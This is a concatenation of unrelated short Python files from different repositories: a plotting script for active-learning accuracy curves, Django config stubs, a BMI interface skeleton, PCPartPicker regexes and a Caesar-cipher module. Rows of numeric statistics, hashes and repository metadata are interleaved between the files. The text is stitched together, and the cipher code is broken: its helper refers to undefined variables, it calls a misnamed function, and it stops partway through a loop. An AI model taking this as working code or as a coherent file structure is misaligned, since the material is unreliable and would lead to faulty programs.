# state = pickle.load(open('experiments/statistic/topics/torch_bn/sud_top1000_trivial_encode_ad64_margin_sparse_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
# sud_top1000_margin_sparse_accs.append(state['performance_history'])
#
# state = pickle.load(open('statistic/topics/torch_bn/sud_top1000_trivial_encode_ad64_margin_logit_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
# sud_top1000_margin_logit_accs.append(state['performance_history'])
#
# state = pickle.load(open('statistic/topics/torch_bn/sud_top1000_trivial_encode_ad64_margin_logit_sum_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
# sud_top1000_margin_logit_sum_accs.append(state['performance_history'])
#
# state = pickle.load(open('statistic/topics/torch_bn/sud_top1000_trivial_encode_ad64_margin_logit_sparse_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
# sud_top1000_margin_logit_sparse_accs.append(state['performance_history'])
#
# state = pickle.load(open('statistic/topics/torch_bn/sud_top1000_trivial_encode_ad64_margin_logit_sparse_sum_i2000_b20_q200_' + str(i) + '.pkl', 'rb'))
# sud_top1000_margin_logit_sparse_sum_accs.append(state['performance_history'])
#
n_queries = len(state['performance_history']) - 1
plot_conf_int(passive_e1_accs, 2000, 20, 200, 'passive', color='C0')
# plot_conf_int(margin_accs, 2000, 20, 200, 'margin', color='C2')
# plot_conf_int(passive_e5_accs, 2000, 20, n_queries, 'passive_e5', color='C1')
# plot_conf_int(passive_e10_accs, 2000, 20, n_queries, 'passive_e10', color='C2')
# plot_conf_int(passive_ae_e1_accs, 2000, 20, n_queries, 'passive_ae_e1', color='C3')
# plot_conf_int(passive_ae_es01_t1_accs, 2000, 20, n_queries, 'passive_ae_es01_t1', color='C4')
# plot_conf_int(passive_ae_es01_t2_accs, 2000, 20, n_queries, 'passive_ae_es01_t2', color='C5')
# plot_conf_int(ll_1_accs, 2000, 20, n_queries, 'learning loss 1', color='C6')
# plot_conf_int(ll_2_accs, 2000, 20, n_queries, 'learning loss 2', color='C7')
# plot_conf_int(ll_3_accs, 2000, 20, n_queries, 'learning loss 3', color='C8')
#
# plot_conf_int(ll2_margin_1_accs, 2000, 20, n_queries, 'll2 margin 1', color='C9')
# plot_conf_int(ll2_margin_2_accs, 2000, 20, n_queries, 'll2 margin 2', color='C10')
# plot_conf_int(ll2_margin_3_accs, 2000, 20, n_queries, 'll2 margin 3', color='C11')
# plot_conf_int(ll2_margin_only_accs, 2000, 20, n_queries, 'll2 margin only', color='C13')
# plot_conf_int(ll3_margin_bald_1_accs, 2000, 20, n_queries, 'll3 margin bald 1', color='C14')
# plot_conf_int(ll2_1_margin_hidden1_accs, 2000, 20, n_queries, 'll2.1 margin 1', color='C6')
# plot_conf_int(ll2_1_margin_hidden2_accs, 2000, 20, n_queries, 'll2.1 margin 2', color='C7')
# plot_conf_int(ll2_1_margin_hidden3_accs, 2000, 20, n_queries, 'll2.1 margin 3', color='C8')
# plot_conf_int(ll2_2_margin_accs, 2000, 20, n_queries, 'll2.2', color='C8')
# plot_conf_int(ll2_2_exp_margin_accs, 2000, 20, n_queries, 'll2.2', color='C9')
# plot_conf_int(ll3_1_margin_bald_hidden1_accs, 2000, 20, 100, 'll3.1 margin bald 1', color='C9')
# plot_conf_int(ll3_1_margin_bald_hidden2_accs, 2000, 20, 200, 'll3.1 margin bald 2', color='C11')
# plot_conf_int(ll4_margin_2_accs, 2000, 20, 200, 'learning loss', color='C11')
plot_conf_int(ll_ideal_accs, 2000, 20, 200, 'ideal learning loss', color='C1')
# plot_conf_int(ll_ideal_reverse_accs, 2000, 20, 200, 'ideal learning loss reversed', color='C12')
# plot_conf_int(sud_top20_margin_sparse_accs, 2000, 20, n_queries, 'sud sparse top 20', color='C11')
# plot_conf_int(sud_top50_margin_sparse_accs, 2000, 20, n_queries, 'sud sparse top 50', color='C13')
# plot_conf_int(sud_top100_margin_sparse_accs, 2000, 20, n_queries, 'sud sparse top 100', color='C14')
# plot_conf_int(sud_top1000_margin_sparse_accs, 2000, 20, n_queries, 'sud 2', color='C15')
#
# plot_conf_int(sud_top1000_margin_logit_accs, 2000, 20, n_queries, 'sud margin logit top 1000 ', color='C16')
# plot_conf_int(sud_top1000_margin_logit_sum_accs, 2000, 20, n_queries, 'sud margin logit sum top 1000', color='C17')
# plot_conf_int(sud_top1000_margin_logit_sparse_accs, 2000, 20, n_queries, 'sud margin logit sparse top 1000', color='C18')
# plot_conf_int(sud_top1000_margin_logit_sparse_sum_accs, 2000, 20, n_queries, 'sud margin logit sparse sum top 1000', color='C19')
plt.xlabel('labeled set size')
plt.ylabel('val accuracy')
plt.legend(loc='lower right')
plt.show()
| 53.338235
| 158
| 0.745612
| 1,690
| 10,881
| 4.352071
| 0.072781
| 0.036982
| 0.05085
| 0.085248
| 0.887695
| 0.812101
| 0.728892
| 0.665126
| 0.609109
| 0.550374
| 0
| 0.096661
| 0.10817
| 10,881
| 203
| 159
| 53.600985
| 0.661274
| 0.634409
| 0
| 0
| 0
| 0
| 0.323773
| 0.223514
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.065574
| 0.04918
| 0
| 0.04918
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
b49e1762017ea413c6e70cecf030706feadd2465
| 155
|
py
|
Python
|
component/io/dmp_io.py
|
12rambau/damage_proxy_map
|
6796e5e4885378e3b634877610df9e6d94123de3
|
[
"MIT"
] | null | null | null |
component/io/dmp_io.py
|
12rambau/damage_proxy_map
|
6796e5e4885378e3b634877610df9e6d94123de3
|
[
"MIT"
] | null | null | null |
component/io/dmp_io.py
|
12rambau/damage_proxy_map
|
6796e5e4885378e3b634877610df9e6d94123de3
|
[
"MIT"
] | null | null | null |
class DmpIo():
def __init__(self):
# inputs
self.event = None
self.username = None
self.password = None
| 19.375
| 28
| 0.490323
| 15
| 155
| 4.8
| 0.666667
| 0.222222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.425806
| 155
| 8
| 29
| 19.375
| 0.808989
| 0.03871
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0.2
| 0
| 0
| 0.4
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
b4a4a4eac1f0ef34f4c6d6387fb34a8f15dca546
| 40
|
py
|
Python
|
eds/openmtc-gevent/futile/src/futile/multiprocess/__init__.py
|
piyush82/elastest-device-emulator-service
|
b4d6b393d6042c54a7b3dfb5f58cad5efd00f0e7
|
[
"Apache-2.0"
] | null | null | null |
eds/openmtc-gevent/futile/src/futile/multiprocess/__init__.py
|
piyush82/elastest-device-emulator-service
|
b4d6b393d6042c54a7b3dfb5f58cad5efd00f0e7
|
[
"Apache-2.0"
] | null | null | null |
eds/openmtc-gevent/futile/src/futile/multiprocess/__init__.py
|
piyush82/elastest-device-emulator-service
|
b4d6b393d6042c54a7b3dfb5f58cad5efd00f0e7
|
[
"Apache-2.0"
] | null | null | null |
from RWLock import RWLock
Lock = RWLock
| 13.333333
| 25
| 0.8
| 6
| 40
| 5.333333
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.175
| 40
| 3
| 26
| 13.333333
| 0.969697
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
b4c4e3a67e634ee2c635c7578544a7b077c2e4b1
| 152
|
py
|
Python
|
env3/bin/django-admin.py
|
SAVE-UP/djsite
|
72cdddae011979f4b7e30b8bfea20bc22bdf7dbe
|
[
"MIT"
] | 1
|
2021-05-06T02:32:21.000Z
|
2021-05-06T02:32:21.000Z
|
env3/bin/django-admin.py
|
SAVE-UP/djsite
|
72cdddae011979f4b7e30b8bfea20bc22bdf7dbe
|
[
"MIT"
] | null | null | null |
env3/bin/django-admin.py
|
SAVE-UP/djsite
|
72cdddae011979f4b7e30b8bfea20bc22bdf7dbe
|
[
"MIT"
] | null | null | null |
#!/Users/cpieri/42/portfolio/env3/bin/python3
from django.core import management
if __name__ == "__main__":
management.execute_from_command_line()
| 25.333333
| 45
| 0.782895
| 20
| 152
| 5.4
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.029197
| 0.098684
| 152
| 5
| 46
| 30.4
| 0.759124
| 0.289474
| 0
| 0
| 0
| 0
| 0.074766
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
b4dd81893040334cf8f2c0d74d176982200da227
| 179
|
py
|
Python
|
cloud-v2.0/verify/gol.py
|
13242084001/api
|
71f57b485d685caae94a84b625d64be832cf8910
|
[
"Apache-2.0"
] | null | null | null |
cloud-v2.0/verify/gol.py
|
13242084001/api
|
71f57b485d685caae94a84b625d64be832cf8910
|
[
"Apache-2.0"
] | 1
|
2021-03-25T23:58:32.000Z
|
2021-03-25T23:58:32.000Z
|
cloud-v2.0/verify/gol.py
|
13242084001/api
|
71f57b485d685caae94a84b625d64be832cf8910
|
[
"Apache-2.0"
] | null | null | null |
def _init():
global _global_dict
_global_dict = {}
def set_value(key, value):
_global_dict[key] = value
def get_value(key):
return _global_dict.get(key)
_init()
| 16.272727
| 32
| 0.681564
| 26
| 179
| 4.230769
| 0.346154
| 0.363636
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.201117
| 179
| 11
| 33
| 16.272727
| 0.769231
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.375
| false
| 0
| 0
| 0.125
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 4
|
b4df714ff7d0c04040c2ecf9c8ba4f2bbf178ee2
| 144
|
py
|
Python
|
MyRepo/services/order_service_interface.py
|
aryanj723/psychic-disco
|
025656a2d30dab7bdaa488926742d6c868137906
|
[
"Apache-2.0"
] | null | null | null |
MyRepo/services/order_service_interface.py
|
aryanj723/psychic-disco
|
025656a2d30dab7bdaa488926742d6c868137906
|
[
"Apache-2.0"
] | null | null | null |
MyRepo/services/order_service_interface.py
|
aryanj723/psychic-disco
|
025656a2d30dab7bdaa488926742d6c868137906
|
[
"Apache-2.0"
] | null | null | null |
import abc
class OrderServiceInterface(metaclass=abc.ABCMeta):
@abc.abstractmethod
def addOrder(self, order_id, meals, distance):
pass
| 20.571429
| 51
| 0.770833
| 17
| 144
| 6.470588
| 0.882353
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.138889
| 144
| 6
| 52
| 24
| 0.887097
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0.2
| 0.2
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
370cc96f8e3f3ab53fa75c3f58f28416bc97abb3
| 129
|
py
|
Python
|
dataformat.py
|
gockie/tentacles
|
358cc4e46d924aa10b22cb44f5d5fd2fab6f348e
|
[
"Unlicense"
] | 21
|
2016-05-26T19:35:55.000Z
|
2022-02-16T18:58:11.000Z
|
dataformat.py
|
gockie/tentacles
|
358cc4e46d924aa10b22cb44f5d5fd2fab6f348e
|
[
"Unlicense"
] | 9
|
2016-05-27T10:42:44.000Z
|
2016-10-19T00:41:22.000Z
|
dataformat.py
|
gockie/tentacles
|
358cc4e46d924aa10b22cb44f5d5fd2fab6f348e
|
[
"Unlicense"
] | 14
|
2016-05-27T03:22:51.000Z
|
2020-10-23T09:39:44.000Z
|
import json
def formatListData(data):
#format data as a JSON string
dataString = json.dumps(data)
return dataString
| 18.428571
| 33
| 0.72093
| 17
| 129
| 5.470588
| 0.705882
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.217054
| 129
| 6
| 34
| 21.5
| 0.920792
| 0.217054
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
3711165468a11925cd889f465710d511245b6733
| 87
|
py
|
Python
|
CARDREADER/LivCam/apps.py
|
monacotime/Live_card_reader_django
|
759945610701d7c630f6503f5adfcbb084d7060e
|
[
"MIT"
] | null | null | null |
CARDREADER/LivCam/apps.py
|
monacotime/Live_card_reader_django
|
759945610701d7c630f6503f5adfcbb084d7060e
|
[
"MIT"
] | null | null | null |
CARDREADER/LivCam/apps.py
|
monacotime/Live_card_reader_django
|
759945610701d7c630f6503f5adfcbb084d7060e
|
[
"MIT"
] | null | null | null |
from django.apps import AppConfig
class LivcamConfig(AppConfig):
name = 'LivCam'
| 14.5
| 33
| 0.747126
| 10
| 87
| 6.5
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.172414
| 87
| 5
| 34
| 17.4
| 0.902778
| 0
| 0
| 0
| 0
| 0
| 0.068966
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
3718c281ffd402719340a7b65a216fb4604d5506
| 180
|
py
|
Python
|
todoapp/projects/apps.py
|
deepakbansal08/Deepak-Bansal-django-drf-tutorial
|
7dd9d8456f89faa8248ea8e1b2c6f894de92aedc
|
[
"MIT"
] | null | null | null |
todoapp/projects/apps.py
|
deepakbansal08/Deepak-Bansal-django-drf-tutorial
|
7dd9d8456f89faa8248ea8e1b2c6f894de92aedc
|
[
"MIT"
] | null | null | null |
todoapp/projects/apps.py
|
deepakbansal08/Deepak-Bansal-django-drf-tutorial
|
7dd9d8456f89faa8248ea8e1b2c6f894de92aedc
|
[
"MIT"
] | null | null | null |
from __future__ import unicode_literals
from django.apps import AppConfig
class ProjectConfig(AppConfig):
name = 'projects'
verbose_name = 'Projects sample application'
| 20
| 48
| 0.783333
| 20
| 180
| 6.75
| 0.75
| 0.177778
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.161111
| 180
| 8
| 49
| 22.5
| 0.89404
| 0
| 0
| 0
| 0
| 0
| 0.194444
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.4
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
2ea2f78c6dd17d217ccb100f8ff1041a600dcd0c
| 160
|
py
|
Python
|
misc/jupyter_notebook/utils.py
|
eric-yyjau/eric-yyjau.github.io
|
af3832330635e48b4320dde801fc309c48f99e6f
|
[
"CC-BY-3.0"
] | null | null | null |
misc/jupyter_notebook/utils.py
|
eric-yyjau/eric-yyjau.github.io
|
af3832330635e48b4320dde801fc309c48f99e6f
|
[
"CC-BY-3.0"
] | null | null | null |
misc/jupyter_notebook/utils.py
|
eric-yyjau/eric-yyjau.github.io
|
af3832330635e48b4320dde801fc309c48f99e6f
|
[
"CC-BY-3.0"
] | null | null | null |
import numpy as np
def print_words(words):
for e in list(words):
print(e, ': ', words[e])
def get_rand_img(H, W):
return np.random.randn(H, W)
| 20
| 32
| 0.61875
| 29
| 160
| 3.310345
| 0.655172
| 0.041667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.23125
| 160
| 8
| 33
| 20
| 0.780488
| 0
| 0
| 0
| 0
| 0
| 0.012422
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.166667
| 0.166667
| 0.666667
| 0.333333
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 4
|
2ec5c9bc9f41bdc123a61879bd57cae0ff765aca
| 170
|
py
|
Python
|
summit/benchmarks/__init__.py
|
dswigh/summit
|
a1cecdd41df8119005173b46ac45fb22472628d6
|
[
"MIT"
] | 60
|
2020-09-10T00:00:03.000Z
|
2022-03-08T10:45:02.000Z
|
summit/benchmarks/__init__.py
|
dswigh/summit
|
a1cecdd41df8119005173b46ac45fb22472628d6
|
[
"MIT"
] | 57
|
2020-09-07T11:06:15.000Z
|
2022-02-16T16:30:48.000Z
|
summit/benchmarks/__init__.py
|
dswigh/summit
|
a1cecdd41df8119005173b46ac45fb22472628d6
|
[
"MIT"
] | 12
|
2020-09-07T12:43:19.000Z
|
2022-02-26T09:58:01.000Z
|
from .snar import SnarBenchmark
from .test_functions import Himmelblau, Hartmann3D, ThreeHumpCamel, DTLZ2, VLMOP2
from .experimental_emulator import *
from .MIT import *
| 34
| 81
| 0.823529
| 20
| 170
| 6.9
| 0.7
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.02
| 0.117647
| 170
| 4
| 82
| 42.5
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
2ee37dfc585af0f14e3fb69f4369232a457f93a0
| 66
|
py
|
Python
|
src/modules/FileManager.py
|
Nevexo/reddit-dl
|
2b9c8a0cb567502ce26a0f280b0aaee621e26252
|
[
"MIT"
] | null | null | null |
src/modules/FileManager.py
|
Nevexo/reddit-dl
|
2b9c8a0cb567502ce26a0f280b0aaee621e26252
|
[
"MIT"
] | null | null | null |
src/modules/FileManager.py
|
Nevexo/reddit-dl
|
2b9c8a0cb567502ce26a0f280b0aaee621e26252
|
[
"MIT"
] | null | null | null |
# reddit-dl Module: File Manager
# By Nevexo (github.com/nevexo)
| 16.5
| 32
| 0.727273
| 10
| 66
| 4.8
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.151515
| 66
| 3
| 33
| 22
| 0.857143
| 0.909091
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
2efb2156bbd3d02afab802ea7de4ac2ab433eac9
| 1,272
|
py
|
Python
|
pymt/bmi/bmi.py
|
mwtoews/pymt
|
81a8469b0d0d115d21186ec1d1c9575690d51850
|
[
"MIT"
] | null | null | null |
pymt/bmi/bmi.py
|
mwtoews/pymt
|
81a8469b0d0d115d21186ec1d1c9575690d51850
|
[
"MIT"
] | null | null | null |
pymt/bmi/bmi.py
|
mwtoews/pymt
|
81a8469b0d0d115d21186ec1d1c9575690d51850
|
[
"MIT"
] | null | null | null |
class Error(Exception):
"""Base class for BMI exceptions"""
pass
class VarNameError(Error):
"""Exception to indicate a bad input/output variable name"""
def __init__(self, name):
self.name = name
def __str__(self):
return self.name
class BMI(object):
def initialize(self, filename):
pass
def run(self, time):
pass
def finalize(self):
pass
def get_input_var_names(self):
pass
def get_output_var_names(self):
pass
def get_var_grid(self, var_name):
pass
def get_var_type(self, var_name):
pass
def get_var_units(self, var_name):
pass
def get_time_step(self):
pass
def get_start_time(self):
pass
def get_current_time(self):
pass
def get_end_time(self):
pass
def get_grid_rank(self, grid_id):
pass
def get_grid_spacing(self, grid_id):
pass
def get_grid_shape(self, grid_id):
pass
def get_grid_x(self, grid_id):
pass
def get_grid_y(self, grid_id):
pass
def get_grid_z(self, grid_id):
pass
def get_grid_connectivity(self, grid_id):
pass
def get_grid_offset(self, grid_id):
pass
| 16.519481
| 64
| 0.599057
| 177
| 1,272
| 3.99435
| 0.265537
| 0.188119
| 0.240453
| 0.158416
| 0.473833
| 0.397454
| 0.305516
| 0
| 0
| 0
| 0
| 0
| 0.318396
| 1,272
| 76
| 65
| 16.736842
| 0.815456
| 0.066038
| 0
| 0.4375
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.458333
| false
| 0.4375
| 0
| 0.020833
| 0.541667
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
2c0466476e7d7ec347c45ceefa97d54148a2f868
| 400
|
py
|
Python
|
pypartpicker/regex.py
|
lukadd16/pypartpicker
|
2fadced708ef1b6201a7cd4dbc7747b950c7e5c1
|
[
"MIT"
] | null | null | null |
pypartpicker/regex.py
|
lukadd16/pypartpicker
|
2fadced708ef1b6201a7cd4dbc7747b950c7e5c1
|
[
"MIT"
] | null | null | null |
pypartpicker/regex.py
|
lukadd16/pypartpicker
|
2fadced708ef1b6201a7cd4dbc7747b950c7e5c1
|
[
"MIT"
] | null | null | null |
import re
def get_list_links(string):
list_regex = re.compile("((?:http|https)://(?:[a-z]{2}.pcpartpicker|pcpartpicker).com/list/(?:[a-zA-Z0-9]{6}))")
return re.findall(list_regex, string)
def get_product_links(string):
product_regex = re.compile("((?:http|https)://(?:[a-z]{2}.pcpartpicker|pcpartpicker).com/product/(?:[a-zA-Z0-9]{6}))")
return re.findall(product_regex, string)
| 33.333333
| 122
| 0.665
| 60
| 400
| 4.3
| 0.383333
| 0.046512
| 0.108527
| 0.139535
| 0.581395
| 0.581395
| 0.581395
| 0.581395
| 0.410853
| 0.410853
| 0
| 0.022099
| 0.095
| 400
| 11
| 123
| 36.363636
| 0.690608
| 0
| 0
| 0
| 0
| 0.285714
| 0.4325
| 0.4325
| 0
| 0
| 0
| 0
| 0
| 1
| 0.285714
| false
| 0
| 0.142857
| 0
| 0.714286
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
2c0e81dab027b6f50339383dc267099506c12386
| 51
|
py
|
Python
|
custom_addons/sale_extend/models/__init__.py
|
wanbowen001/custom-addons
|
aceab2740520035cc36648702c72158d1c03550c
|
[
"MIT"
] | null | null | null |
custom_addons/sale_extend/models/__init__.py
|
wanbowen001/custom-addons
|
aceab2740520035cc36648702c72158d1c03550c
|
[
"MIT"
] | null | null | null |
custom_addons/sale_extend/models/__init__.py
|
wanbowen001/custom-addons
|
aceab2740520035cc36648702c72158d1c03550c
|
[
"MIT"
] | null | null | null |
from . import pricelist, invoice, product_evaluate
| 25.5
| 50
| 0.823529
| 6
| 51
| 6.833333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.117647
| 51
| 1
| 51
| 51
| 0.911111
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
2c16f638e8f6521b39e8a6d2ea203385338d382a
| 106
|
py
|
Python
|
ziptest.py
|
Dikaeinstein/Abyteofpython_exercises
|
93d78a7d2e82c10092d7e149f0a9a1e804dfd601
|
[
"MIT"
] | null | null | null |
ziptest.py
|
Dikaeinstein/Abyteofpython_exercises
|
93d78a7d2e82c10092d7e149f0a9a1e804dfd601
|
[
"MIT"
] | null | null | null |
ziptest.py
|
Dikaeinstein/Abyteofpython_exercises
|
93d78a7d2e82c10092d7e149f0a9a1e804dfd601
|
[
"MIT"
] | null | null | null |
import cwd
from zipfile import ZipFile
with ZipFile("test.zip", "r") as myzip:
myzip.printdir()
| 15.142857
| 39
| 0.679245
| 15
| 106
| 4.8
| 0.733333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.207547
| 106
| 6
| 40
| 17.666667
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0.084906
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0.25
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
257d05f4ed3f1841a3377912af04c7c06490a22c
| 3,508
|
py
|
Python
|
caesar.py
|
Vl-tech-565/my_pet_projects
|
910ffca4b03b5beb2f3ed9626a95d7daef91da5d
|
[
"Unlicense"
] | 1
|
2021-08-07T18:03:13.000Z
|
2021-08-07T18:03:13.000Z
|
caesar.py
|
Vl-tech-565/my_pet_projects
|
910ffca4b03b5beb2f3ed9626a95d7daef91da5d
|
[
"Unlicense"
] | null | null | null |
caesar.py
|
Vl-tech-565/my_pet_projects
|
910ffca4b03b5beb2f3ed9626a95d7daef91da5d
|
[
"Unlicense"
] | null | null | null |
"""
this module provides encryption and decryption of strings
"""
_eng_alphabet = [chr(i) for i in range(97, 123)] + [chr(i) for i in range(65, 91)]
_rus_alphabet = [chr(i) for i in range(1072, 1104)] + [chr(i) for i in range(1040, 1072)]
_alphabets = {'en': _eng_alphabet, 'rus': _rus_alphabet}
def _add_encrypted_char(string, original_char, step):
if char.isupper():
required_index = (alphabet.index(char) + step) % (alphabet_len // 2) + (alphabet_len // 2)
encoded_str += alphabet[required_index]
else:
required_index = (alphabet.index(char) + step) % (alphabet_len // 2)
encoded_str += alphabet[required_index]
def encode(original_str, lang='en', step=1):
'''Return the string with encoding chars according the chosen language.
Numbers and other signs do not change.'''
encoded_str = ''
alphabet = _alphabets[lang]
alphabet_len = len(alphabet)
for char in original_str:
if char in alphabet:
add_encrypted_char(original_str, char, step)
else:
encoded_str += char
return encoded_str
def encode_all_lang(original_str, step=1):
'''Return the string with encoding chars.
Numbers and other signs do not change.'''
encoded_str = ''
for char in original_str:
if not char.isalpha():
encoded_str += char
for alphabet in _alphabets.values():
